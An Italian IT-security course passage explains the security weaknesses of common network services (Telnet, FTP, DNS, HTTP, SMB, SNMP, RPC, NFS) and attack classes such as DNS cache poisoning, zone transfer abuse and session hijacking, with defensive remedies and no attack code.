in Windows il servizio unico: basta avviare Telnet e, in as-
senza di un firewall, il sistema accessibile a chiunque in
rete disponga di user/password. Lesempio che segue mo-
stra un accesso a Windows da Linux via Telnet: il coman-
do Attrib permette di vedere e modificare gli attributi dei fi-
le (inclusi quelli nascosti, di sistema e read-only) e, se ne-
cessario, il comando Cacls consente di modificare le rela-
tive ACL (Access Control List, che definiscono i privilegi di
accesso alle risorse). Quindi, il controllo e la potenzialit di
fare danni totale.
FTP
Il File Transfer Protocol (protocollo di trasferimento file)
un servizio nato per condividere file tra host connessi in
rete. Introdotto nel 1971 presso il MIT, ha subito una lunga
evoluzione. Pu essere usato in due modi: anonimo e au-
tenticato. Il servizio autenticato ha gli stessi problemi di si-
curezza di Telnet (password e dati trasmessi in chiaro), e
in parte le stesse soluzioni: SSL su alcuni sistemi e SSH (in
particolare, i componenti di copia scp e sftp) su molti altri.
Va precisato che i componenti scp1, scp2 e sftp di SSH, ag-
giunti a SSH1 e a SSH2 per il trasferimento di file, si limita-
no a eseguire SSH in un sotto-processo per connettersi al-
lhost remoto. Tra laltro, il nome sftp fuorviante: sftp non
ha niente a che fare con FTP e non un FTP sicuro come
si potrebbe pensare (vedi SSH: The Secure Shell, The De-
finitive Guide, seconda edizione, OReilly). Inoltre, non
possibile usare scp o sftp senza usare SSH, a cui i moduli scp
e sftp si appoggiano. Quindi, scp e sftp rischiano di per-
mettere lesecuzione di comandi di shell, che rappresenta
la vera funzione di SSH. In conclusione, SSH non uno stru-
mento di trasferimento file, e scp/sftp esistono solo perch
FTP non si presta a operare sopra la singola connessione
full-duplex fornita dal programma SSH remoto. Per quanto
riguarda luso anonimo di FTP (anonymous FTP), neces-
sario curare particolarmente le eventuali directory con di-
ritti di scrittura, che dovrebbero essere presenti solo se
strettamente necessarie. E importante che tali directory,
e soprattutto i file che vi sono contenuti, siano scrivibili so-
SMTP con autenticazione
SSL in Outlook
Una sessione Telnet in
Windows
lo dallutente e non leggibili da altri. In caso contrario, il ser-
ver FTP diventa facilmente un punto di scambio pubblico
di file (dal contenuto potenzialmente illegale) tra persone
che non desiderano avere un contatto diretto tra loro: il
mittente scrive il file nella directory pubblica, invia lURL
relativo al destinatario e questi scarica il file. Lammini-
stratore del server pu trovarsi in breve tempo con una se-
rie di problemi: banda occupata, spazio su disco occupato,
danno dimmagine e conseguenze legali connesse al mate-
riale ospitato.
DNS
Il servizio DNS (Domain Name Service) fornisce la corri-
spondenza tra nomi di dominio e relativi indirizzi IP, come
specificato nelle RFC 1034 e 1035. Il sistema dei nomi ha una
struttura gerarchica. Quando un utente digita un URL nel
browser, i primi DNS interrogati possono essere quelli mes-
si a disposizione dal provider. Sopra di essi esiste la gerar-
chia internazionale dei server DNS, che legata alla gerar-
chia dei router. In cima esistono 13 server radice (DNS root
server), elencati presso www.root-servers.org. Le comuni-
cazioni con i server DNS avvengono tramite TCP e UDP;
UDP usato pi di frequente, ma per certi tipi di messaggi
necessario TCP.
Il servizio DNS devessere sempre accessibile a chiun-
que si colleghi a Internet. I server DNS sono anche il fulcro
dei servizi di directory come, ad esempio, le Active Direc-
tory di Windows Server 2000/2003. Per motivi di sicurezza,
preferibile separare i DNS interni, per la mappatura dei
nomi in indirizzi IP privati, dai DNS pubblici, che mappano
gli indirizzi e i nomi dei server pubblici. In questa configu-
razione split DNS (DNS suddiviso) il server DNS su Internet
risponde alle interrogazioni da Internet, e non ha visibilit
dei domini interni.
Dal punto di vista della sicurezza, a parte eventuali di-
fetti del software, il DNS rilevante per un attaccante so-
prattutto come fonte dinformazioni sulla rete. In generale,
i problemi di sicurezza dei server DNS sono i seguenti:
1. server non aggiornati con le patch. Per esempio, sono
state trovate numerose vulnerabilit in BIND (Berkeley
Internet Name Domain), un server gratuito dellInternet
Software Consortiumche il pi usato su macchine Unix.
Lo stesso vale anche per i server di altri produttori, ma
BIND stato coinvolto in attacchi di vasta portata. La so-
luzione mantenere il software continuamente aggior-
nato.
2. Server mal configurati che permettono lo Zone Transfer,
cio il trasferimento dellintero database dinformazioni
di una zona (per esempio, lelenco dei nomi di un domi-
nio). Se unazienda tiene gli indirizzi interni in un server
DNS (come nel caso delle Active Directory), un cracker
pu sfruttare il server per ottenere le informazioni sulla
topologia della rete e sui computer. Il cracker si collega
al server DNS aziendale, chiede uno Zone Transfer, e ri-
ceve la lista dei computer e dispositivi dellazienda, in
modo da facilitare futuri attacchi. I rimedi sono: 1) se il
DNS per uso interno, ne va bloccato laccesso da In-
ternet; 2) lo Zone Transfer deve essere abilitato solo per
pochi indirizzi IP fidati; 3) si deve bloccare il TCP DNS, vi-
sto che gli Zone Transfer usano TCP, mentre il normale
accesso al DNS usa UDP. Non si deve dimenticare che il
semplice accesso a una stampante aziendale offre a un
cracker notevoli possibilit di fare danno e di manipola-
re i dipendenti per ottenere informazioni e indurli a col-
laborare involontariamente col cracker. La funzione di
Zone Transfer destinata allaggiornamento dei server
secondari, gli unici che devono essere autorizzati a uti-
lizzarla.
3. DNS cache poisoning (corruzione della cache del server
DNS). Questo un attacco di vecchia data: il cracker in-
dovina lidentificatore delle richieste al server che vuo-
le inquinare, quindi restituisce una risposta fasulla (con
lIP voluto dal cracker) allutente, che viene dirottato ver-
so un falso web server. Tale attacco reso possibile per
due motivi: la maggior parte dei DNS usano UDP, che
stateless (senza stato, perch il collegamento avviene
senza una sessione di connessione come in TCP) e,
quindi, facilmente contraffatto; le implementazioni vul-
nerabili dei server DNS usano un generatore sequenzia-
le degli ID delle connessioni, permettendo dindovinare
gli ID successivi. Un cracker usa questo attacco come De-
nial of Service o per attirare gli utenti in un sito contraf-
fatto e ottenere informazioni riservate al fine di perpe-
trare truffe e furto di denaro.
HTTP/HTTPS
Per quanto si tratti sostanzialmente di un protocollo uni-
co, offerto su ununica porta (ovvero una porta per HTTP
e un'altra per HTTPS), si tratta in realt di un servizio uti-
lizzato per fornire un numero praticamente illimitato di ser-
vizi, in virt della quantit di applicazioni che usano HTTP
per il trasporto dei propri dati. Gli attacchi HTTP possono
essere di due tipi: contro le applicazioni web e contro il web
server. Se il server ospita solo HTML puro, non c modo di
attaccare lapplicazione, quindi lattacco devessere diret-
to contro il server. In effetti, gli attacchi contro le applica-
zioni web sono molti pi numerosi di quelli contro i web
server, tuttavia questi ultimi sono i pi pericolosi. La sicu-
rezza di HTTP scarsa: il traffico in chiaro, come anche
linvio di password per la forma base di autenticazione,
usata di frequente. La protezione migliore quando si usa
lautenticazione basata su hash o digest, un meccansimo
challenge/response per cui il server invia un nonce (nume-
ro casuale usato una sola volta), e il client risponde con un
hash MD5 basato sul nonce e sulla password, che non vie-
ne mai inviata in chiaro. Il protocollo , comunque, sog-
getto ad attacchi di tipo vocabolario, la cui efficacia di-
pende dalla semplicit e prevedibilit delle password usa-
te.
Di conseguenza, quando si desidera una vera protezio-
ne del traffico, come nel caso delle transazioni finanziarie
su Internet, si usa HTTP su SSL, ovvero HTTPS. In questo
caso, il traffico tra client e server cifrato, quindi assai
Schema di FTP
PI: Protocol Interpreter
(interprete del protocollo)
DTP: Data Transfer
Process (processo di
trasferimento dei dati)
Server PI: PI del server,
che ascolta il traffico
sulla porta in attesa di
connessione
Server DTP: DTP del
server
Split DNS
meno rischioso utilizzare i meccanismi di autenticazione di
HTTP o altri meccanismi analoghi offerti dalle applicazio-
ni. Gli attacchi basati su vocabolario sono comunque pos-
sibili, a meno di usare lautenticazione SSL (per esempio,
tramite certificato contenuto in una Smart Card) anche per
il client; tuttavia, in HTTPS gli attacchi di tipo vocabolario
devono essere attuati in connessione con il server, non
semplicemente intercettando traffico in rete, il che li rende
pi difficili, dispendiosi e facili da rilevare. Per gli attacchi
alle applicazioni web, si veda anche la sezione sul codice
maligno (lezione 5), che lo strumento con cui sono at-
tuati.
Gli attacchi contro un web server hanno normalmente
gli obiettivi seguenti:
1. defacement (danneggiamento) del sito web: solitamente
eseguito dai cosiddetti script kiddies (ragazzini dello
script), che usano programmi ben noti che vanno in cer-
ca di punti deboli e vulnerabilit sfruttabili per portare i
loro attacchi. Spesso gli script kiddies vengono indivi-
duati; inoltre, nel panorama della sicurezza, essere eti-
chettato script kiddy equivale a essere considerato un
novellino. Il defacement di un sito pu avere motivazioni
politiche, economiche, militari, vandaliche o di altro ge-
nere.
2. Corruzione dei dati: mentre il defacement corrompe il co-
dice HTML, la corruzione dei dati molto pi grave e pu
essere disastrosa se viene alterato o cancellato un ar-
chivio con dati finanziari, carte di credito, dati anagrafi-
ci, e via dicendo.
3. Furto di dati: peggiore della corruzione dei dati, come
in un recente caso in cui i dati di milioni di carte di cre-
dito sono caduti in mani criminali. Il furto di dati pu
mettere fuori combattimento unazienda: oltre al danno
dimmagine, ci sono infatti le cause intentate da tutti i
partner finanziari e commerciali, e lazione della magi-
stratura per violazione delle leggi sulla privacy e la cu-
stodia dei dati. Per grandi organizzazioni come Amazon
ed eBay, unora di inattivit a causa di defacement o cor-
ruzione/furto di dati equivale a un danno di milioni di
dollari.
4. Denial of service: nelle sezioni precedenti abbiamo visto
caratteristiche ed esempi di questi attacchi, volti a im-
pedire il funzionamento di un servizio o di un dispositi-
vo.
Gli attacchi ai web server possono avere successo a cau-
sa di alcuni errori facilmente evitabili. Di fatto, molto pi
facile proteggere un web server che unapplicazione web.
Ecco alcuni tipi di errori che si possono facilmente evitare:
1. sfruttamento di noti punti deboli e vulnerabilit dei ser-
ver, come buffer overflow (sconfinamento in memoria),
directory traversal (sconfinamento in directory diverse
da quelle previste e lasciate accessibili), permesso di
esecuzione - nelle directory del server - di codice che
pu aiutare i cracker, permesso di esplorazione delle di-
rectory (talvolta non disabilitato);
2. sfruttamento di servizi web mal configurati (come SQL
server);
3. sfruttamento degli esempi di default lasciati installati:
questi sono punti deboli sia del web server (riguardano
la sua installazione), sia delle applicazioni web, visto che
sono noti e a volte vulnerabili; la soluzione cancellarli.
La protezione di un web server pi facile di quella del-
le applicazioni, perch non occorre entrare nel merito del
codice. Ecco alcune misure di protezione utili:
1. impostare il servizio o daemon (in gergo Unix) del web
server, in modo che sia eseguito col minimo possibile di
privilegi (cos se un cracker ne prende il controllo, non
pu andare lontano);
2. installare tutte le patch di sicurezza man mano che sono
pubblicate ed essere informati delle vulnerabilit appena
scoperte;
3. cancellare gli esempi di default ed evitare di installarne;
4. proteggere il computer che ospita il web server cancel-
lando le applicazioni non necessarie, proteggere gli altri
servizi di rete della stessa macchina e accertarsi che an-
che il sistema operativo sia tenuto aggiornato man mano
che sono rilasciate le patch di sicurezza;
5. assicurarsi che i permessi di esecuzione per gli script ap-
plicativi (per esempio CGI Common Gateway Interface,
Perl Practical Extraction and Report Language, ecc.) sia-
no assegnati solo a directory isolate che contengano so-
lo lo script in questione (vedi lesempio di configurazio-
ne delle propriet di IIS - Internet Information Services, il
web server di Microsoft);
6. avere un file index.html in ogni directory del server, in
modo che non sia mai necessario/possibile ricorrere al-
lesplorazione delle directory.
Per lesecuzione di applicazioni sul web server (CGI,
Perl, ecc.), lamministratore deve concedere permesso di
esecuzione alla directory contenente lapplicazione. Alcu-
ni amministratori assegnano tale diritto nel posto sbaglia-
to, non prevedendone le conseguenze. Se, per esempio, ve-
nisse concesso il diritto di esecuzione per lintero disco di
un server IIS, si potrebbe scrivere un URL per eseguire uno
shell di comandi (cmd.exe) e, al suo interno, un comando
dir per elencare directory e file. Dopo di che, un cracker po-
trebbe eseguire liberamente qualunque comando per can-
cellare file, eseguire programmi o modificare dati sul ser-
ver. Quindi bene che la directory degli script applicativi
non contenga , e soprattutto non contenga alcun eseguibi-
le (come cmd.exe) che possa essere sfruttato da un
cracker.
Servizi locali
I principi da seguire nellattivazione dei servizi sulla re-
te locale sono gli stessi che valgono per le reti pubbliche,
tuttavia per le LAN si accetta comunemente un compro-
messo tra funzionalit e sicurezza, in virt del maggiore li-
vello di fiducia su una LAN rispetto a Internet. Perci, sul-
la LAN vengono attivati servizi che riducono la sicurezza
(per esempio quelli per la condivisione di risorse file e
stampanti tra sistemi anche eterogenei connessi alla
LAN) per due motivi: si tratta di servizi indispensabili per
la normale operativit, o si valuta che lambiente pi con-
trollato sia unadeguata garanzia contro certe classi di at-
tacchi. Tali valutazioni non sono affatto ovvie ed bene che
siano documentate esplicitamente. Per esempio, lampia li-
bert di accesso al personale interno, giustificabile nel pe-
riodo formativo di unazienda, pu essere pagata a caro
prezzo quando, in un periodo di espansione, non c tem-
Assegnazione del
permesso di esecuzione
degli script in IIS
5.7.3.3 Conoscere
quale insieme di
servizi di prassi
abilitato sui server
locali non-Internet
po per accorgersi che un brillante collaboratore sfrutta la
libert di accesso alle risorse condivise per passare infor-
mazioni riservate alla concorrenza.
Un aspetto positivo delle reti locali che gli accessi, di
principio, possono essere tutti autenticati, a meno che il ti-
po di servizio non lo impedisca. Dopo qualche perdita con-
sistente, gli istituti finanziari hanno adottato Smart Card e
altri dispositivi di autenticazione che impediscano alla per-
sona sbagliata di eseguire indebiti movimenti di denaro. Le
cronache insegnano, per, che contro i funzionari autoriz-
zati, ma disonesti, le misure di sicurezza da adottare non ri-
guardano lautenticazione o i servizi di rete, bens lanalisi
della personalit e gli aspetti di organizzazione e di leader-
ship nellazienda.
NetBIOS/SMB/CIFS
NetBIOS (Network Basic I/O System) uninterfaccia di
base che si appoggia a TCP/IP per offrire tre servizi:
1. risoluzione dei nomi (NetBIOS usa nomi, non indirizzi nu-
merici);
2. servizio di connessione (TCP);
3. servizio datagam (UDP).
NetBIOS pu essere usato su diversi stack di protocolli,
tra cui TCP/IP. E utilizzato dalle architetture Microsoft e
dalle applicazioni compatibili come SAMBA (una suite di
applicazioni nate per consentire a macchine Unix di parla-
re il protocollo SMB Server Message Block di Windows e
di OS/2) per molti servizi di rete locale, principalmente
quelli di condivisione delle risorse. A questo scopo, viene
usato il protocollo SMB/CIFS (Common Internet File Sy-
stem), che quando impiegato da NetBIOS su TCP/IP
(NBT) utilizza:
1. la porta UDP 137 per la risoluzione dei nomi;
2. la porta UDP 138 per il servizio datagram;
3. la porta TCP 139 per il servizio di connessione.
A partire dalla versione 2000, Windows pu usare SMB
su TCP senza il supporto NetBIOS tramite il servizio Direct
Host, usando la porta TCP 445 per il servizio di connessio-
ne anzich la porta UDP 137 per la risoluzione dei nomi. Da-
to che la maggior parte delle funzionalit delle reti Win-
dows basata su tali servizi, difficile non abilitarli (anche
i firewall interni ne devono tenere conto). La sicurezza, in
questo caso, garantita principalmente dallautenticazione
nel dominio di Windows, con il traffico trasmesso in chia-
ro. Dato che le risorse di un server sono tutte accessibili at-
traverso le stesse porte, la selezione di cosa rendere ac-
cessibile avviene principalmente tramite la configurazione
della condivisione per ogni singola risorsa (le access control
list mappano i privilegi di ogni utente verso ciascuna ri-
sorsa condivisa), che deve essere quindi eseguita con la
cura necessaria.
LDAP
Lightweight Directory Access Protocol, trattato nelle se-
zioni precedenti (vedi la lezione 6), un protocollo per lac-
cesso ai servizi di directory utilizzato diffusamente e, in
particolare, per laccesso allActive Directory dei server
Windows 2000/2003. LDAP versione 3 utilizza SASL (Simple
Authentication and Security Layer), citato in precedenza, co-
me supporto per lautenticazione; ci significa che sono
possibili diversi tipi di autenticazione, come la coppia user-
name/password in chiaro, la digest authentication (tramite
hash della password), fino alluso di un server Kerberos.
LDAP supporta, inoltre, SSL/TLS per la protezione della
connessione tra i client e i directory server tramite auten-
ticazione e cifratura.
SNMP
Simple Network Management Protocol un procollo per
la gestione remota di apparati di rete e di sistemi in gene-
rale. Per motivi di prestazioni usa UDP, il che lo rende vul-
nerabile a molti tipi di attacco. Per di pi, SNMP v1 usa un
meccanismo di autenticazione basato su community string,
stringhe di autenticazione che vengono trasmesse in chia-
ro. Si tratta, quindi, di un meccanismo non meno debole
delle password in chiaro. A questo si aggiunge il fatto che
molte apparecchiature di rete hanno per default il servizio
SNMP attivo con community string predefinite, e che in mol-
tissimi casi queste sono public per laccesso in lettura, e
private per laccesso in scrittura. SNMP v3 offre migliori
meccanismi di autenticazione (basati essenzialmente su al-
goritmi HMAC, Message Authentication Code a doppia cifra-
tura, vedi sezione sulla crittografia nella lezione 2) e di in-
tegrit dei dati, ma poco utilizzato e implementato. Nel
complesso, SNMP pu costituire un rischio considerevole,
ma ampiamente usato per la sua efficacia nella gestione
della rete. E consigliabile usarlo al pi su reti controllate,
possibilmente in sola lettura o per linvio di trap (notifiche
di allarme o di eventi da segnalare) al sistema di gestione.
RPC
Remote Procedure Call un protocollo di cui esistono di-
verse versioni e che ha lo scopo di permettere la comuni-
cazione tra processi di sistemi diversi. Di particolare im-
portanza la versione Windows, dato che utilizzata dai
componenti DCOM (Distributed Component Object Model),
la tecnologia di Microsoft per la distribuzione dei compo-
nenti software su pi computer della rete, che ha ceduto il
passo allarchitettura .NET.
RPC utilizza la porta 135 UDP/TCP, ed utilizzato da mol-
ti componenti e applicazioni. Per questo difficile che pos-
sa essere disabilitato senza danneggiare qualche funziona-
lit. Sono possibili quattro modalit di autenticazione, che
devono essere selezionate dalle applicazioni (servizi) che
fanno uso di RPC. Alcune modalit sono particolarmente
deboli (quella senza alcuna autenticazione e lautentica-
zione via user id/group id, che la pi usata); lautentica-
zione con cifratura DES abbastanza sicura, ma usata so-
prattutto da Sun, mentre quella via Kerberos molto sicu-
ra, ma utilizzabile solo dove sia presente un server Kerbe-
ros.
I servizi basati su RPC usano generalmente porte varia-
bili, quindi esistono servizi su porte fisse (portmapper per
Unix sulla porta 111 TCP/UDP e Service Locator per Win-
dows sulla porta 135 TCP/UDP) ai quali richiedere la porta
dei diversi servizi. Comunque, anche se portmapper o Ser-
vice Locator non fossero raggiungibili, i singoli servizi po-
trebbero sempre essere individuati attraverso una scan-
sione delle porte.
NFS
Network File System un file system distribuito tipico dei
sistemi Unix, pensato per la condivisione dei file in rete lo-
cale. Dal punto di vista della sicurezza, assai debole: lau-
tenticazione dei client si basa essenzialmente sullindirizzo
IP e, in caso di sniffing del traffico, facile impersonare un
altro host. Sono state realizzate versioni con maggiore si-
curezza (autenticazione e cifratura), ma non hanno avuto
diffusione.
Attacchi ai servizi di rete
I servizi di rete possono essere attaccati sia per com-
prometterne lintegrit, riservatezza o disponibilit (i tre
cardini della sicurezza), sia per accedere attraverso di es-
si al sistema nel suo complesso.
Luso abusivo di un servizio un attacco che pu esse-
re praticato in molti modi. Uno dei pi comuni si basa sul-
lutilizzo delle credenziali di un utente legittimo, imperso-
nandolo nei confronti del servizio. Le credenziali possono
essere state sottratte allutente (facile nel caso di user/pas-
sword, pi difficile nel caso di token e Smart Card), posso-
no essere state comunicate dallutente (una pratica pi dif-
5.7.3.4 Essere al
corrente dei pi noti
impieghi illeciti: utilizzi
abusivi, denial of service,
contraffazione dei dati
ecc.
fusa di quanto si pensi), o possono essere state ottenute in-
tercettando il traffico in rete.
Questultima possibilit il motivo principale per cui un
attaccante, una volta compromesso un sistema, lo usa per
lo sniffing (lettura diretta dalla rete) del traffico della rete a
cui connesso.
Dato che molti protocolli trasmettono la password in
chiaro, intercettare il traffico tra un client e un server per-
mette poi dimpersonare quel client nei confronti del ser-
ver ottenendo spesso, con minimo sforzo, laccesso a una
nuova rete. Unaltra possibilit di accesso abusivo sta nei
punti deboli dei servizi di autenticazione o di controllo de-
gli accessi. Per esempio, se il meccanismo di autenticazio-
ne permette di provare un gran numero di password in bre-
ve tempo, possibile tentare attacchi basati su vocabola-
rio e su password comuni fino a trovare quella giusta.
Unaltra comune vulnerabilit deriva da funzionalit
che, in condizioni anomale, concedono pi privilegi di
quanto previsto. Alcuni tipi di errore nella scrittura del co-
dice dellapplicazione possono avere questo effetto. Un
esempio tipico alla base di molti attacchi comunemente
praticati il buffer overflow.
Quando unapplicazione deve leggere dati da una rete, li
scrive generalmente in unarea di memoria di transito (buf-
fer) dimensionata in base alla quantit di dati che si aspet-
ta di ricevere e di manipolare. Un attaccante, tuttavia, pu
provare a inviare pi dati di quanti lapplicazione si aspet-
ti, o a usare particolari sequenze di caratteri che traggano
in inganno il parser (il software che analizza linput per de-
terminarne la struttura in base a regole grammaticali), in
modo da scrivere fuori dal buffer, nellarea di memoria adia-
cente. La conseguenza pu essere il blocco dellapplica-
zione, il blocco o il crash del sistema, o qualsiasi altro ef-
fetto imprevisto. Un effetto pu essere anche lesecuzione
di codice binario maligno inserito in memoria dallattac-
cante.
Unulteriore possibilit di attacco data dallaccesso e
manipolazione dei dati in transito fra un client e un server.
Tale accesso pu essere ottenuto sia posizionandosi su un
nodo presente sul percorso tra i due, sia modificando il per-
corso stesso in modo che i dati transitino per un nodo con-
trollato. Lattacco ai dati in transito su una rete pubblica
sfugge completamente al controllo di mittente e destinata-
rio, che non decidono il percorso seguito dai dati, n con-
trollano in generale i nodi intermedi; i dati devono quindi
essere protetti senza fare affidamento sulla rete, per esem-
pio mediante strumenti crittografici.
In caso contrario, tra i possibili attacchi, abbiamo:
1. Man in the Middle: lattaccante intercetta i dati e imper-
sona il client nei confronti del server e il server nei con-
fronti del client; in questo modo, pu manipolare la con-
nessione in modo trasparente alle due parti;
2. Session Hijacking: lattaccante aspetta che la sessione
venga eventualmente autenticata e poi se ne appropria,
immettendo traffico che sembra provenire da uno dei
due host, estromettendo uno dei due host e continuan-
done la sessione con gli stessi privilegi daccesso dellu-
tente estromesso. un attacco molto difficile da rivela-
re; la migliore difesa usare servizi di sicurezza e cifrare
i dati trasmessi.
Una categoria di attacchi particolarmente diffusa, gi ci-
tata in precedenza, quella dei Denial of Service, da cui non
facile proteggersi. Ogni sistema ha una disponibilit limi-
tata di risorse; nel momento in cui le rende disponibili pub-
blicamente, si espone al fatto che possano essere occupa-
te da un attaccante, privandone gli utenti legittimi. Le con-
nessioni attive ne sono un esempio: ogni server accetta un
numero massimo di connessioni simultanee, in base al ca-
rico di lavoro che pu gestire. Un attaccante pu saturare
un server aprendo il numero massimo di connessioni con-
sentite, lasciandole inattive e rendendo il servizio inacces-
sibile agli utenti legittimi.
Il DNS
Il servizio DNS riveste un ruolo particolarmente impor-
tante nel mappare nomi di host in indirizzi IP e viceversa.
Quindi opportuno evidenziarne le caratteristiche di si-
curezza.
Il funzionamento
Prima di considerarne le problematiche di sicurezza,
riassumiamo il funzionamento del servizio DNS.
Mentre i sistemi in rete sono raggiungibili tramite il loro
indirizzo IP, pi semplice e naturale usare un nome sim-
bolico, facile da ricordare e da comunicare agli utenti. Ini-
zialmente, la mappatura avveniva tramite tabelle che veni-
vano distribuite a tutti i sistemi. Con la crescita di Internet
si reso necessario un sistema pi flessibile e distribuito.
Il DNS continua a basarsi sul concetto di tabella di asso-
ciazione tra il nome e lindirizzo IP (o viceversa, nel caso di
risoluzione inversa), ma tali tabelle non hanno pi una ge-
stione centralizzata. Un insieme di server centrali (Root Na-
meserver) gestisce una tabella di deleghe: associazioni tra
domini e indirizzi di nameserver a cui viene delegata la ge-
stione dei domini. Questi nameserver, a loro volta, posso-
no gestire direttamente la tabella dei domini a loro delega-
ti, oppure delegarne a loro volta la gestione (tipicamente,
delegano la gestione di sottodomini). Tale meccanismo di
delega pu essere ripetuto ricorsivamente. In tal modo,
ogni organizzazione pu vedere delegata ai propri name-
server la gestione delle tabelle relative al proprio dominio,
curandone con maggiore facilit laggiornamento. Lo stes-
so meccanismo vale per le tabelle relative alla risoluzione
inversa (dagli indirizzi ai nomi), la cui gestione rimane, pe-
raltro, spesso delegata a provider che non ne curano il con-
tenuto, impedendo lutilizzo di determinati meccanismi di
sicurezza che vedremo in seguito.
I nomi di dominio sono organizzati ad albero e suddivi-
si in zone servite da nameserver. Ogni nodo o foglia del-
lalbero associato con resource records, che contengono
le informazioni relative al nome di dominio.
Il nameserver sul quale vengono effettivamente ammini-
strate le tabelle di risoluzione di un dominio viene chia-
mato nameserver primario per quel dominio. Le stesse ta-
belle, per motivi di affidabilit del servizio, possono esse-
re replicate su uno o pi altri server (possibilmente su
unaltra rete), detti nameserver secondari. La distinzione tra
5.7.3.5 Conoscere i
rischi legati all'utilizzo
fraudolento di DNS.
Domain Name Space
nameserver primari e secondari visibile solo ai relativi ge-
stori, mentre agli enti che richiedono informazioni sul do-
minio DNS essi risultano tutti nameserver autorevoli
(authoritative nameserver) per quel dominio.
Vediamo come funziona in teoria la risoluzione dei nomi
in indirizzi. Per la risoluzione di un nome, un client pre-
senta la propria richiesta a un Root Nameserver (lelenco
dei Root Nameserver lunica tabella ancora distribuita a
tutti i nameserver, essendo necessaria per avviare il mec-
canismo di risoluzione), che gli fornir, con un record di ti-
po NS, il nome e lindirizzo del nameserver a cui il dominio
delegato. Il client presenta, quindi, la richiesta al name-
server delegato, che pu rispondere con lindirizzo cercato
oppure fornire a sua volta il nome e indirizzo di un name-
server a cui ha delegato il sottodominio. Il client prosegue
ricorsivamente con le proprie richieste fino a giungere a un
nameserver autorevole per il dominio in questione, che for-
nisce leffettiva mappatura tra nome e indirizzo IP del do-
minio. La funzione del client che esegue la ricerca ricorsi-
va fino a risolvere il nome di dominio in indirizzo P si chia-
ma resolver.
Mentre per la gestione il DNS in effetti distribuito, esi-
ste ancora un punto di centralizzazione nella risoluzione
dei nomi, rappresentato dai Root Nameserver: se questi non
sono disponibili, lintero meccanismo si blocca. In passato,
fino a tempi recenti, sono stati tentati attacchi di tipo Di-
stributed Denial of Service contro i Root Nameserver con
successo solo parziale, ma sufficiente per considerare la
possibilit di attacchi pi massicci che blocchino o rallen-
tino notevolmente il servizio e, quindi, lintera Internet.
Quanto sopra descrive laccesso teorico ai nameserver.
In pratica, per usare il sistema DNS in modo efficiente, ven-
gono introdotti meccanismi aggiuntivi. A causa del volume
enorme di richieste, si reso necessario ridurre il carico
sui server DNS. Perci, quando un resolver DNS (client) ri-
ceve una risposta DNS, la memorizza in una cache per un
dato periodo di tempo. Un valore stabilito dallammini-
stratore del server DNS che risponde, detto time to live
(TTL), determina il periodo di validit delle informazioni.
Solo alla scadenza del TTL il client chiede di nuovo la stes-
sa informazione al server DNS. Se uninformazione nella
cache di un server, pu trascorrere parecchio tempo per
essere aggiornata (il TTL per un server dei top domain, co-
me .com, .org, ecc. tipicamente di 48 ore), ma le nuove
informazioni sono disponibili quasi istantaneamente se
non si trovano nelle cache (come nel caso di registrazione
di un nuovo dominio).
Gli utenti non comunicano direttamente con un DNS
server; la risoluzione eseguita attraverso lapplicazione
client (come web browser o programma di posta), che in-
via la richiesta al resolver DNS locale del sistema operati-
vo. Se questo ha una risposta recente nella sua cache la
passa al client richiedente, altrimenti inoltra la richiesta al-
lopportuno DNS server, che per la maggior parte degli
utenti domestici lInternet Service Provider. Questo, a sua
volta, seguir la procedura di richiesta vista sopra conser-
vando le risposte ricevute nella propria cache.
Di solito, le cache DNS di applicazioni come i web brow-
ser hanno un brevissimo TTL, dellordine di un minuto, con
leccezione di Internet Explorer, che usava un TTL di 24 ore
fino a IE 3.x, poi ridotto a 30 minuti a partire da IE 4.x. Per
abbreviare questo TTL, occorre modificare il registro di si-
stema come spiegato nellarticolo http://support.micro-
soft.com/default.aspx?scid=KB;en-us;263558.
Con luso della cache, i nameserver agiscono da proxy,
comportandosi da server di livello superiore nei confronti
dei client (per il tempo TTL) e, quindi, riducono radical-
mente il numero di richieste ai nameserver superiori.
Il DNS non fornisce solo la risoluzione nome-indirizzo IP
e viceversa, ma anche altre informazioni relative a un do-
minio; le pi interessanti in questo contesto sono i record
MX (Mail Exchange), che contengono i nomi dei mailserver
che ricevono la posta per quel dominio.
Tra le decine di tipi di informazioni archiviate nei server
DNS, citiamo alcune categorie:
1. record A (address record): mappa il nome di un host in un
indirizzo IP v4 a 32 bit;
2. record AAAA (address record IP v6): mappa un nome in
un indirizzo IP v6 a 128 bit;
3. record CNAME (canonical name record): rende un nome
di dominio alias di un altro;
4. record MX (mail exchange): mappa un dominio in una li-
sta di server di posta per quel dominio;
5. record NS (name server): mappa un nome di dominio in
una lista di server DNS autorevoli per quel dominio; le
deleghe dipendono dai record NS;
6. record SOA (start of authority): specifica il server DNS che
fornisce informazioni autorevoli; su un dominio Internet,
le-mail dellamministratore del dominio, il numero di se-
rie del dominio e altre informazioni;
7. record SRV: un record sullubicazione del servizio;
8. record LOC: fornisce lubicazione fisica di un host;
9. record TXT: testo arbitrario inserito dallamministratore.
Un meccanismo importante per capire gli aspetti di si-
curezza del DNS quello dei glue record. Una configurazio-
ne che si presenta di frequente quella in cui si ha il na-
meserver di un dominio con un nome allinterno dello stes-
so dominio; dato che non conosciamo lindirizzo del do-
minio, come facciamo a contattare il nameserver? Per
esempio, supponiamo che il nameserver del dominio
dom1.test.com sia ns.dom1.test.com. Quando il nameserver
autorevole per test.com fornisce il record NS per dom1.te-
st.com, in realt fornisce il nome di un host che, a sua vol-
ta, dentro il dominio dom1.test.com, e il cui indirizzo IP do-
vrebbe essere richiesto al server stesso. Per evitare questa
impasse, il nameserver di test.comfornisce anche il record
A (lassociazione nome-IP) di ns.dom1.test.com, e tale re-
cord prende il nome di glue record (record che funge da col-
lante). Immaginiamo ora che, per maggiore affidabilit del
sevizio, il dominio dom1.test.com abbia un nameserver se-
condario nel dominio dom2.test.com. In tal caso, i record
DNS del dominio saranno due: ns.dom1.test.com e
ns.dom2.test.come, durante la risoluzione, verranno forni-
ti i glue record di entrambi.
Luso delle cache nei DNS
resolver
Una transazione DNS
Sicurezza del servizio DNS
Le problematiche di sicurezza relative al servizio DNS
sono essenzialmente tre:
1. gli attacchi al server in quanto tale, sfruttandone ad
esempio un errore di implementazione;
2. attacchi destinati a raccogliere informazioni sulla rete;
3. cache poisoning (avvelenamento della cache).
Il primo di questi tipi di attacchi non legato al servizio
DNS, salvo per il fatto che il servizio usa prevalentemente
UDP e, quindi, pi facile praticare attacchi con lindirizzo
del mittente falsificato.
Raccolta dinformazioni
Lo scopo del servizio DNS permettere la risoluzione di
